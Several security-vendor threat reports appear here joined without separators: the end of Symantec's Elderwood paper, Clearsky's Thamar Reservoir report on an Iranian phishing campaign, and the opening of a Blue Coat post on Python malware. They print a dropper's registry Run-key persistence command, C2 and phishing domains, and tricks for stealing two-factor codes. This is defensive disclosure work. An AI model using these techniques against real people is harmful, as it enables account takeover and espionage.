We believe, to solve this problem, the attackers have built a system that allows them to execute new campaigns by simply dropping in a new exploit and various other components, such as Trojans and hacked servers.
Attack platform The attackers have leaked snippets of information that hint at the type of infrastructure that is likely to be used to implement these attacks.
Figure 6 is a diagram of the various processes and steps that that the Elderwood attackers must go through to conduct their attacks.
All attacks require a Trojan to infect the target computer.
This Trojan is packaged with a packer and also the address of the command-and-control (CC) server.
The next step is to deliver that packaged Trojan to the target.
Delivery is either though an email or a Web based vector.
We have identified two distinct elements in the delivery vector that demonstrate the potential attack infrastructure.
Document creation kit The attackers often delivered their malicious code via documents attached to email.
Based on our analysis, we believe the attackers have built a tool that easily allows them to automatically construct documents containing different payloads.
The tool is able to take an arbitrary clean document file, specific exploit code, and a Trojan, and bundle them together to create a malicious document ready to be used in the next attack.
This tool is one component of the Elderwood platform.
The use of such a tool can be readily seen in samples that exploit the CVE-2012-0779 vulnerability where multiple document files were encoded in the same manner, but the Trojan payload differed.
Shared SWF file Another component used in the attacks is a Shockwave Flash (SWF) file.
Often, to ensure reliable execution of exploit code, code must be placed in the right areas of computer memory.
In addition, exploit code often performs the same task of downloading a Trojan from a remote website for execution.
Instead of developing code to perform these tasks for each different exploit, the attackers have developed a common SWF file that is used solely to create the correct conditions in memory and accepts a parameter specifying where to download the Trojan.
In some attacks, the parameter name was Elderwood.
The same SWF file was seen used when exploiting 3 different vulnerabilities (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889).
By using a common SWF file, the attackers can simply deploy a new trigger, that is, a zero-day exploit, and the SWF handles the rest of the work, retrieving and decoding the back door Trojan.
These various re-usable components collectively make up the Elderwood attack platform, as shown in figure 6.
There is no doubt that there are several other components that the attackers use in their various processes as well.
Other possible components of the attack platform may include: A tool for the automated creation of accounts on Web-based email services Automated registration of domain names Information gathering on targets searching for, and consolidating data on, a victim to identify potential website targets and relevant topics for email content An analysis platform for stolen information The Elderwood Project Page 9 Security Response The reuse of the identified components gives clues as to how the attackers may divide the labor amongst themselves.
Technically skilled hackers (researchers) create exploits, document creation kits, re-usable trigger code (the SWF files), and compromise websites, and these are then made available to less technical attackers.
These attackers (attack operators) are likely responsible for identifying targets and delivering the attack payload using the tools and infrastructure provided to them.
Once a target has been compromised, the less skilled attack operators can then proceed to move through the compromised network, identifying data of interest.
The level of technical skill required to move through a compromised network is much lower than that required to establish the initial penetration.
Connecting the dots The investigation into the various exploits began with a deep analysis of CVE-2012-0779.
From this analysis, we identified several Trojans which were dropped from documents utilizing the exploit.
These Trojans helped us begin the process of establishing links between the various zero-day exploits.
The code in one of those Trojans was obfuscated in a certain way.
This same obfuscation was used on a Trojan dropped by CVE-2012-1875, establishing a link between the use of these two exploits.
Going back in time, the Hydraq Trojan also displayed this obfuscation.
Additional links joining the various exploits together included a shared command-and-control infrastructure.
Trojans dropped by different exploits were connecting to the same servers to retrieve commands from the attackers.
Some compromised websites used in the watering hole attacks had two different exploits injected into them one after the other.
Yet another connection is the use of similar encryption in documents and malicious executables.
A technique used to pass data to a SWF file was re-used in multiple attacks.
Finally, the same family of Trojan was dropped from multiple different exploits.
Figure 7 illustrates the connections between the various exploits.
Figure 7 Links between different exploits The Elderwood Project Page 10 Security Response Conclusion Simple targeted attacks are quite common.
Most (the Taidoor attackers for example) reuse exploits and are relatively simple to block, if one ensures that ones network and software is regularly patched.
Somewhat more sophisticated attackers use zero-day exploits.
The Elderwood hackers use multiple zero-day exploits, multiple Trojans, and multiple delivery vectors.
They are responsible for compromising numerous websites, corporations, and individuals over the past three years.
This group is focused on wholesale theft of intellectual property and clearly has the resources, in terms of manpower, funding, and technical skills, required to implement this task.
Although we have not conclusively established a connection between the most recent exploits and those used in attacks in 2011, there are similarities.
Apart from the technical features in common, as mentioned previously (URL encoding), there is a noticeable similarity in the timing of the attacks and the types of vulnerabilities used between the 2012 and 2011 attacks.
Both sets of attacks used multiple zero-day exploits one after the other, sometime around April to August, and both sets of attacks exploit Adobe Flash and Internet Explorer.
It may be the case that these initial penetration attacks are launched over a fixed period of time (several months from approximately April to August).
After this initial compromise, the attackers consolidate their beachhead and begin to analyze the stolen information, spreading through networks and maintaining access as needed.
By analyzing the information gathered, the attackers can identify yet more targets of interest.
They may also eventually be detected and evicted from a compromised network.
In later attacks, newly identified targets can be attacked and old victims can be targeted again.
If this is the case, then companies and individuals need to be on their guard.
Any manufacturers who are in the defense supply chain need to be wary of attacks emanating from subsidiaries, business partners, and associated companies.
It is possible that those trusted companies were compromised by the attackers who are then using them as a stepping-stone to the true intended target.
Companies and individuals should prepare themselves for a new round of attacks in 2013 utilizing both Adobe Flash and Internet Explorer zero-day exploits.
This is particularly the case for companies who have been compromised in the past and managed to evict the attackers.
The knowledge that the attackers gained in their previous compromise will assist them in any future attacks.
Resources Symantec Security Response Blog http://www.symantec.com/connect/symantec-blogs/sr Follow Symantec Security Response on Twitter http://twitter.com/threatintel http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf http://www.symantec.com/connect/symantec-blogs/sr http://twitter.com/threatintel The Elderwood Project Page 11 Security Response Appendix Malware detection names The Elderwood gang uses multiple different Trojans.
The ones identified to date are detected using the detection names in table 2.
Table 3 Command and control servers CC domains qwby.gownsman.com wwwcnas.org gate-usa.com 3dvideo.ru wt.ikwb.com svr01.passport.serveuser.com zfcay1751.chinaw3.com web.cyut.edu.tw srv001.proxydns.com help.2012hi.hk 0207.gm.jetos.com 71.6.217.131 javaupdate.freeddns.com yours.microtrendsoft.com cpu.edu.tw glogin.ddns.us download.msdnblog.com dd.pst.qpoe.com Table 2 Trojans associated with Elderwood gang Associated Trojans Backdoor.
Briba Trojan.
Hydraq Trojan.
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Wiarp Backdoor.
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Wiarp Backdoor.
Vasport Trojan.
Pasam Backdoor.
Darkmoon Backdoor.
Ritsol Backdoor.
Nerex Backdoor.
Linfo Trojan.
MDropper Network-based protection (IPS) Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts.
Adobe Flash Type Confusion CVE-2012-0779 (25718) RTMP Type Confusion CVE-2012-0779 2 (25721) MSIE MSXML CVE-2012-1889 3 (25783) MSIE MSXML CVE-2012-1889 2 (50331) MSIE MSXML CVE-2012-1889 (25786) Malicious SWF Download CVE-2012-1535 2 (25878) Malicious SWF Download 4 (25789) MSIE Same ID Property CVE-2012-1875 (25787) MSIE CVE-2010-0249 (23823) Malformed XLS SWF Remote Code Execution CVE-2011-0609 (24136) Flash Player CVE-2011-2110 (24336) Adobe Embedded SWF CVE-2011-0611 (24212) Behavior-based protection Behavior-based detection blocks suspicious processes using the Bloodhound.
SONAR series of detections Reputation-based protection (Insight) Norton Safeweb blocks users from visiting infected websites.
Insight detects and warns against suspicious files as WS.Reputation.1 http://www.symantec.com/business/theme.jsp?themeidstartabID2 http://www.symantec.com/security_response/writeup.jsp?docid2012-082319-2350-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061307-3118-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061600-4738-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050814-3052-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050815-4208-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-071315-3201-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-071315-5835-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-2843-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061518-4639-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-1005-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-5938-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050412-4128-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-081910-3934-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-3909-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-3445-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051605-2535-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-031911-0600-99 http://www.symantec.com/business/theme.jsp?themeidstartabID3 http://www.symantec.com/endpoint-protection http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25718 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25721 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25783 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid50331 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25786 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25878 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25789 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25787 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid23823 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24136 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24336 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24212 http://www.symantec.com/theme.jsp?themeidstartabID4 Bloodhound.
SONAR http://safeweb.norton.com/ http://www.symantec.com/theme.jsp?themeidstartabID5 http://www.symantec.com/security_response/writeup.jsp?docid2010-051308-1854-99tabid3 The Elderwood Project Page 13 Security Response Email-based protection Symantec MessageLabs Email Security.cloud can block emails associated with these attacks Other protection Application and Device Control (SEP) prevents malicious document files from dropping the backdoor TrojanSymantec Critical System Protection can also prevent unauthorized applications from running.
Browser Protection can protect against web based attacks which use exploits Symantec Critical System Protection can help to lock down system and prevent intrusions Data Loss Prevention (DLP) can prevent confidential data from being accessed or exfiltrated by the attacker http://www.symantec.com/business/email-security-cloud http://www.symantec.com/business/security_response/securityupdates/list.jsp?fidadc http://www.symantec.com/theme.jsp?themeidstartabID3 http://www.symantec.com/critical-system-protection http://www.symantec.com/data-loss-prevention About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
Headquartered in Mountain View, Calif., Symantec has operations in more than 40 countries.
More information is available at www.symantec.com.
For specific country offices and contact num- bers, please visit our Web site.
For product information in the U.S., call toll-free 1 (800) 745 6054.
Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA 1 (650) 527-8000 www.symantec.com Copyright 2012 Symantec Corporation.
All rights reserved.
Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries.
Other names may be trademarks of their respective owners.
About the authors Geoff McDonald - Threat Analysis Engineer Gavin OGorman - Sr Threat Intelligence Analyst Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation.
NO WARRANTY .
The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use.
Any use of the technical documentation or the information contained herein is at the risk of the user.
Documentation may include technical or other inaccuracies or typographical errors.
Symantec reserves the right to make changes without prior notice.
www.symantec.com www.symantec.com
______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 1of 18 June 2015 Thamar Reservoir An Iranian cyber-attack campaign against targets in the Middle East Clearsky TLP:WHITE For public distribution http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 2 of 18 Contents Foreword .............................................................................................................................................................. 3 Modus operandi - investigation of targeted attacks ............................................................................................ 4 Part 1 -spear phish 1 - with malware ......................................................................................................... 4 Part 2 - phone calls to victims ...................................................................................................................... 5 Part 3 - spear phishing 2 ............................................................................................................................ 5 Part 4 - breaking into an Israeli research institute to set up phising page 3 ............................................. 7 Part 5 - spear phishing 4 ............................................................................................................................ 9 Part 6 - Abusing account recovery mechanisms ........................................................................................10 Part 7 - Private messages ...........................................................................................................................10 Targets and further incidents .............................................................................................................................12 Targets ............................................................................................................................................................12 Further incidents ............................................................................................................................................13 The Iranian connection .......................................................................................................................................14 Malware analysis ................................................................................................................................................15 Macro .............................................................................................................................................................15 tmp.bat ...........................................................................................................................................................16 NTUSER.datGUID.exe ...................................................................................................................................16 CWoolger Keylogger .......................................................................................................................................16 Technical indicators and IoC ...............................................................................................................................18 Domains .........................................................................................................................................................18 IPs ...................................................................................................................................................................18 Malware .........................................................................................................................................................18 Malicious Email accounts ...............................................................................................................................18 http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 3 of 18 Foreword This report reviews an ongoing cyber-attack campaign dating back to mid-2014.
Additional sources indicate this campaign may date as far back as 2011.
We call this campaign Thamar Reservoir, named after one of the targets, Thamar E. Gindin1, who exposed new information about the attack and is currently assisting with the investigation.
The campaign includes several different attacks with the aim of taking over the targets computer or gain access to their email account.
We estimate that this access is used for espionage or other nation-state interests, and not for monetary gain or hacktivism.
In some cases, the victim is not the final target the attackers use the infected computer, email, or stolen credentials as a platform to further attack their intended target.
The attackers are extremely persistent in their attempts to breach their targets.
These attempts include: Breaching trusted websites to set up fake pages Multi-stage malware Multiple spear phishing emails based on reconnaissance and information gathering.
Phone calls to the target.
Messages on social networks.
While very successful in their attacks, the attackers are clearly not technically sophisticated.
They are not new to hacking, but do make various mistakes, such as grammatical errors, exposure of attack infrastructure, easy to bypass anti analysis techniques, lack of code obfuscation, and more.
These mistakes enabled us to learn about their infrastructure and methods.
More importantly, we have learned of 550 targets, most of them in the Middle East, from various fields: research about diplomacy, Middle East and Iran, international relations, and other fields Defense and security Journalism and human rights and more.
Various characteristics of the attacks and their targets bring us to the conclusion that the threat actors are Iranian.
In addition, we note that these attacks share characteristics with previously documented activities: Attacks conducted using the Gholee malware, which we discovered.
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Attacks reported by Trend Micro in Operation Woolen-Goldfish.
Attacks conducted by the Ajax Security Team as documented by FireEye.
Attacks seen during Newscaster as documented by iSight.
For further details and questions, or if you think you are a victim please contact us at: info [at] clearskysec.com 1 Dr. Gindin is an expert on Iranian linguistics and Pre-Islamic Iran, renowned lecturer and research fellow at the Ezri Center for Iran and Persian Gulf Research in the University of Haifa.
http://www.thmrsite.com/?page_id198 http://clearskysec.com/ http://www.thmrsite.com/?page_id198 ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 4 of 18 Modus operandi - investigation of targeted attacks This chapter contains an in-depth analysis of a series of attacks against one of the Thamar Reservoir targets.
The heavy attack began two days after the target, Dr. Thamar E. Gindin, was interviewed on the IDF radio station2.
Over the course of two weeks, the threat actor used the following attacks against a single target: 1.
One spear phishing email containing malware.
2.
Three separate email messages with links to a fake log-in page, (including two factor authentication), one of them hosted on a breached website, the other two on dedicated domains.
3.
Two phone calls from the attacker, designed to build rapport for one of the phishing emails.
4.
Numerous attempts to take over cloud accounts using their Account Recovery mechanism.
5.
Numerous messages on Facebook and by e-mail.
While we describe this case mostly from the point of view of a single target, we would like to emphasize that these scenarios repeated themselves for many other targets.
Part 1 -spear phish 1 - with malware In May 2015 a legitimate email was sent asking several researchers to fill out a form that was sent as a Word document.
The attackers obtained this correspondence, presumably by breaching the email account of the sender.
They created a new Gmail account with a username similar to that of the original sender.
Then, they sent the recipients a follow-up message (including the initial correspondence), asking them to fill up the attached form again.
This time, the attachment was a weaponized Microsoft Excel file (The file is analyzed in the Malware analysis chapter of this report).
In other cases the attackers used the same methods - sending malware or phishing from a cloud email service (such as Gmail or Hotmail) using a username similar to that used by one of the targets acquaintances.
The malicious email was written in the original language of the correspondence - Hebrew.
But it is clear that the attackers do not know Hebrew, as they made grammatical errors in the few words they have added to it (the rest were copied from the original email).
Other messages, in English and Farsi, were analyzed by several specialists3and were determined to have been written by a native Iranian Persian speaker.
2 The interview revolved around her own way to being a linguist and an Iranist, and promoting her books The Good, the Bad and the World - a Journey to Pre-Islamic Iran and The Book of Esther, Unmasked .
3Three of the targets are Iran and the Middle East researchers, and two of them are native Farsi speakers.
Going through numerous messages they have received, and in one case a phone call - they have determined that the writer/speaker is native in Iranian Persian.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 5 of 18 Below is an example of another case (the email includes the professional signature of the impersonated sender): Part 2 - phone calls to victims A week later, the attackers called the targets office number.
The office manager, who received the call, later said that someone with bad English had asked to schedule an interview.
The attackers later called the targets personal cell phone, and left a similar message with a callback number in London.
The attackers called the targets in other cases as well.
For example, after breaching the password of a victim back in November 2014, the attacker called, pretending to be the assistant of a professor abroad who wished to talk to the victim.
After several unexplained cut-offs during the call, the attacker said they should switch to Google Hangout, asking for the conversation code the victim had just received to his cell phone.
The code was actually the second factor authentication for the victims Gmail account.
As soon as he gave it away - the attackers took over his Gmail, Facebook and other accounts.
Part 3 - spear phishing 2 That evening, the target received an email written in Farsi, coming from a spoofed persianbbc.co.uk email address (the real address of BBC Farsi).
The message was a follow up on the call that morning, asking to schedule the interview for the next day: http://clearskysec.com/ mailto:persianbbc.co.uk ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 6 of 18 The headers of the message indicate that it was spoofed, and was actually sent from a server in Hungary, mail5.maxer.hu.
The email contained a linked text, Document.pdf, with this URL: https://www.google.com/url?qhttp://login-users.com/Drive- Auto/AutoSecond?ChkredactedsaDsntz1usgredacted The URL is composed of two parts.
The first part is a legitimate Google.com address, with the q parameter.
The second part is the value of that parameter - a fake Google Drive log-in page in the attackers controlled domain - login-users.com.
Upon clicking the link, the target is redirected to the address in the q parameter.
This is a trick the attackers use to mislead the target - making her think she is about to visit a legitimate Google website.
The fake Google Drive log-in page was customized to the target her real username was already filled in: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 7 of 18 The Whois information for the domain is similar to those used in legitimate Google owned domain, except for the d instead of b in the registrant-email value: gmail-adusegoogle.com: The attacker sent three follow-up emails to make sure the target had received the first one, from the same server in Hungary and with the Reply-To address saeed.kn2003gmail.com.
Part 4 - breaking into an Israeli research institute to set up phising page 3 The next morning, several targets received an email inviting them to participate in an Iran Israel Forum of an Israeli research institute.
The email can be seen below (sensitive information has been redacted): The headers of the email indicate that they the email was not spoofed, and had been sent from the research institute.
As can be seen, the email contained various grammatical mistakes.
Moreover, anyone who knows http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 8 of 18 the institute would notice that parts of the message are inaccurate (this will not be elaborated here in order not to expose the institutes identity).
The words Access To Forum linked to a page within the real, compromised, website of the institute.
The page contained more information about the forum, and offered four sign in options, as can be seen in the screenshot below: Clicking one of the sign-in options led to a custom made log-in page, again, with the targets username, email, and picture already present: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 9 of 18 After submitting a password, the victim is taken to the next fake page in which she is asked to submit the two factor authentication code she has just received to her phone: Upon submission, the victim is redirected to a static registration confirmed page.
Interestingly, the log file for the previous pages was hosted publicly on the same virtual folder.
The log contained the false credentials the target submitted (as she recognized this was a fake)4: We reported the breach to the institue, and they investigated and cleaned it off.
They informed us that their own servers were never breached.
Rather, a server run by a researcher who was givenn a virtual folder within their domain was.
This, of course, did not change the end result - the attackers managed to implant a fake page within the Instititue domain, and were able to send an email using the same domain.
This pattern is recurring: The attackrs go after low hanging fruits in order to reach their goal rather than using advnaced techincal means.
Part 5 - spear phishing 4 Four days later, the target received the following email from the same fake address as in part 1: 4 The pass filed intermingled with the IP filed in the original log, file due to bidirectionality issues.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 10 of 18 The email contained the real textual signature of the sender, and the word Toda (Thank you, in Hebrew), as the sender usually writes.
The hyperlink text in the message appeared to be leading to youtube.com, but in fact linked to a fake address that only looked like a YouTube domain.
The page contained a private Youtube video, asking the viewer to sign in in order to watch it: After signing in, the page redirected to a specific interview in targets real YouTube channel - proving once again that the attacks are targeted and based on reconnaissance.
Part 6 - Abusing account recovery mechanisms During the writing of this article, the attackers continued to attempt to take over various accounts of the target.
For example, they tried to fool Google into giving them access to the targets Gmail accounts using the Google Account Recovery process5 (a process which in certain cases enables one to regain access to an account even if the password and other means of authentication are unavailable).
The attackers tried similar methods against the targets account on Facebook and Yahoo, and had also set up a fake Hotmail account, which was used as the secondary email to which the recovered password should be sent.
Part 7 - Private messages The target has been contacted by various weird characters on Facebook and by e-mail.
They have been asking her various questions that have nothing to do with her professional expertise and tried to contact her in various ways.
The conversation are conducted in Persian.
We cannot find a direct connection between these Facebook characters and the above mentioned attacks.
However, in addition to them happening close to the attacks, we do know that at least one of the accounts is fake.
5https://www.google.com/accounts/recovery/ http://clearskysec.com/ https://www.google.com/accounts/recovery/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 11 of 18 One of the fake characters who has engaged in conversation, is using throughout her profile pictures of a Russian model, and has presented herself as with different, contradicting, background stories in conversations with different targets.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 12 of 18 Targets and further incidents Targets So far we have exposed a list of more than 500 targets by name and email.
The targets come, mostly, from the following fields: Both Academic researchers and practitioners in the fields of counter-terror, diplomacy, international relations, Iran and Middle East, and other fields, such as Physics.
Security and defence.
Journalists and Human rights activists.
Other similar fields.
In some cases the attackers tried to breach the account of a relative or colleague of the real target.
Below is the target distribution by country: http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 13 of 18 Further incidents We have investigated and can publicly mention the following incident by the same threat actor: A security company had numerous employees targeted with customized phishing pages.
The attackers managed to infect computers within the company and steal information.
In several other cases numerous employees from the same organization were targeted.
A fake Gmail account was set up using the name of the head of a research center.
Following, several of his contacts received targeted phishing email from the fake account.
A fake domain has been set up, imitating that of the Interdisciplinary Center Herzliya, an Israeli college (unrelated to the research institute described above), and has been used in attacks.
The table below correlates between the threat actor behind the Thamar Reservoir campaign and the name of threat actor or campaign, as given in other reports: Threat actor / campaign Correlations Certainty Gholee6 by Clearsky Overlapping infrastructure and malware.
High Rocket Kitten7, Operation WOOLEN-GOLDFISH by Trendmicro Overlapping infrastructure and malware.
High Ajax Security Team, Operation Saffron Rose8 by FireEye Similar TTPs and interests - Attacks against universities and researchers Use of fake conference pages Use of a domain that spoofs the name of the targeted organization.
Medium Newscaster9 by iSight Similar TTPs - pretending to be a reporter in order to get close to approach the victim.
Medium 6http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign 7http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf 8https://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf 9http://www.isightpartners.com/2014/06/uncovering-newscaster-experts-cyber-threat-intelligence/ http://clearskysec.com/ http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf https://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf http://www.isightpartners.com/2014/06/uncovering-newscaster-experts-cyber-threat-intelligence/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 14 of 18 The Iranian connection Several characteristics of the attacks have led us to the conclusion that an Iranian threat actor is the likely culprit.
We assume, though do not have direct evidence, that it is being supported by the Iranian regime, or performed by the Regime itself: The context of the attacks and cover stories all revolve around Iran.
Importantly, as determined by several professionals - the attackers speak and write in native Iranian Persian and make mistakes characteristic of Persian speakers.
In one of the hacked accounts, when retrieved, the interface language had been changed to Persian.
The targets and victims match the interests of Iran.
Moreover, rather than stealing money or performing high key cyber terror attacks (such as information leaks or deferments), the attackers only steal information and use the access to computers for further attacks - indicating espionage, IP theft , etc.
The TTPs match those of attackers and attacks that were attributed to Iran by other security companies, as mentioned in the previous chapter.
Some of the domains and IPs used by the attackers in the cases we investigated were mentioned and attributed to an Iranian threat group in an advisory by the Financial Sector Cyber Intelligence Group, and the Department of the Treasury, CIG Circular 3510 10http://webcache.googleusercontent.com/search?qcache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/downlo ad/208893/1786893/file/20150311_WASP.pdf http://clearskysec.com/ http://webcache.googleusercontent.com/search?qcache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/download/208893/1786893/file/20150311_WASP.pdfcd1hlenctclnkglil http://webcache.googleusercontent.com/search?qcache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/download/208893/1786893/file/20150311_WASP.pdfcd1hlenctclnkglil ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 15 of 18 Malware analysis The malicious Excel file (mentioned in Part 1 - speared email message containing malware) serve as a Dropper - it creates two files and runs them.
When opening the excel file (.xlsb), the user sees a blank sheet and the standard Macros have been disabled message.
If enabled by the user, the macro drops NTUSER.datGUID.exe and tmp.bat.
The content of the excel sheet is then presented.
It is case specific and customized to the victim.
Different malware can be downloaded to the infected computer.
On an infected computer we have analyzed, we found CWoolger Keylogger.
The macro, two files, and CWoolger are analyzed below.
Macro The VBA macro is similar to that used to drop Gholee, as we reported about 8 month ago11.
However, in current case, a simple downloader was used instead of Gholee.
The VBA contains a series of functions built of VBA Character Codes: These are constructed into a single variable and then written as a file to disc, creating and running NTUSER.datGUID.exe Next, tmp.bat is written and executed.
11http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign http://clearskysec.com/ http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 16 of 18 tmp.bat Tmp.
Bat contains two lines.
The first create a registry key without prompting the user for permission, telling the computer to run NTUSER.datGUID.exefrom USERPROFILE every time the computer starts, naming it My App.
For example: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V My App /t REG_SZ /F /D C:\Users\Nisa\NTUSER.dat813E7E06-2AC5-4F3D-94DA-CF6E298F7B18.exe The second line deletes tmp.bat.
NTUSER.datGUID.exe The dropped exe file (55ff220e38556ff902528ac984fc72dc) is a Downloader.
It is created in UserProfile, sized 8.5KB, and is recognized by 19 out of 57 antiviruses on Virus Total12 (the sample was not submitted by us).
It contains simple mechanisms to detect and prevent analysis, such as IsDebuggerPresent: The malware tries to download files form a remote address, apparently stage two, the actual malware.
CWoolger Keylogger We have not been able to get the final malware when running the malicious excel file and dropper in the lab, as the server was not responding.
However, we have performed forensic analysis of the computer used by a target who opened the malicious Excel file.
That computer was infected with CWoolger keylogger.
An analysis of this tool can be read in Trendmicros paper Operation WOOLEN-GOLDFISH13 in chapter Wool3n.
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H4ts Recent Activities: CWoolger Keylogger.
Below are additional notes about the infection we found: 12virustotal.com/en/file/072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4/analysis/ 13 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen- goldfish.pdf http://clearskysec.com/ https://www.virustotal.com/en/file/072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4/analysis/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 17 of 18 The CWoolger exe file was located in appdata\microsoft\windows\templates\wlg.exe To gain persistency, a link to the exe file was placed in in the Startup folder, with the name WinDefender and the notepad icon.
A file containing the collected keystrokes is saved in temp in a file called wlg.dat.
it is sent to an attacker controlled server every 15 minutes.
These findings are similar to those found by Trendmicro indicating that the attackers have been using the same tool for months.
We would like to thank Omri moyal, VP Research at Minerva Labs for assisting the analysis.
http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 18 of 18 Technical indicators and IoC Domains Domains hosting phishing pages: login-users[.
]com drives-google[.
]co qooqle[.
]co video[.]qooqle[.
]co drive-google[.
]co gfimail[.
]us Google-Setting[.
]com Google-Verify[.
]com Mail-Verify[.
]com IPs IPs of phishing pages: 107.6.172.51 5.39.223.227 31.192.105.10 Malware Downloader: MD5 55ff220e38556ff902528ac984fc72dc SHA-1 b67572a18282e79974dc61fffb8ca3d0f4fca1b0 SHA-256 072a43123e755ad1bdd159488a85a353227ec51f273c4f79c26ff7e4656c0ef4 MD5 b4790618672197cab31681994bbc10a4 SHA1 d5b2b30fe2d4759c199e3659d561a50f88a7fb2e SHA-256 1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4 MD5 60f5bc820cf38e78b51e1e20fed290b5 SHA1 476489f75fed479f19bac02c79ce1befc62a6633 SHA256 69e48eb82ce7387d65cc1a82c5a6a170dc6121d479736b1dd33358d09c483617 Malicious Email accounts Fake or breached email accounts, from which malicious messages were sent: saeed.kn2003gmail.com http://clearskysec.com/
Snake In The Grass: Python-based Malware Used For Targeted Attacks bluecoat.com/security-blog/2014-06-10/snake-grass-python-based-malware-used-targeted-attacks Researchers at Blue Coat Systems have identified an intelligence-gathering campaign related to the Hangover operation detailed in 2013.
The targets of this operation appear to be Pakistani and presumably represent military interests.
The malware used for this is very simple, but uses a little used format.
Instead of the programming languages most commonly used for malware creation, the actors have turned to using Python, a powerful scripting language.
The scripts were found embedded inside regular executable files designed to run Python scripts without having to install the full Python package.
The inclusion of malicious scripting code in relatively mainstream installers is probably done to avoid antivirus detections, and regular AV detection rates on these executables tend to be quite low.
However, BlueCoat Malware Analysis Appliance proactively detects these malwares with a high risk score.
Several indicators point towards the same attackers as were detailed in the Norman Shark (now part of Blue Coat Systems) Hangover report from last year.
This campaign is not the first sign of life from these actors after we published our report there have been several smaller initiatives during the autumn of 2013.
Initial malware The initial installers of this campaign were discovered due to behavior similarities with previous Hangover-related malware.
These appear to have been prepared for email distribution or possibly for web download.
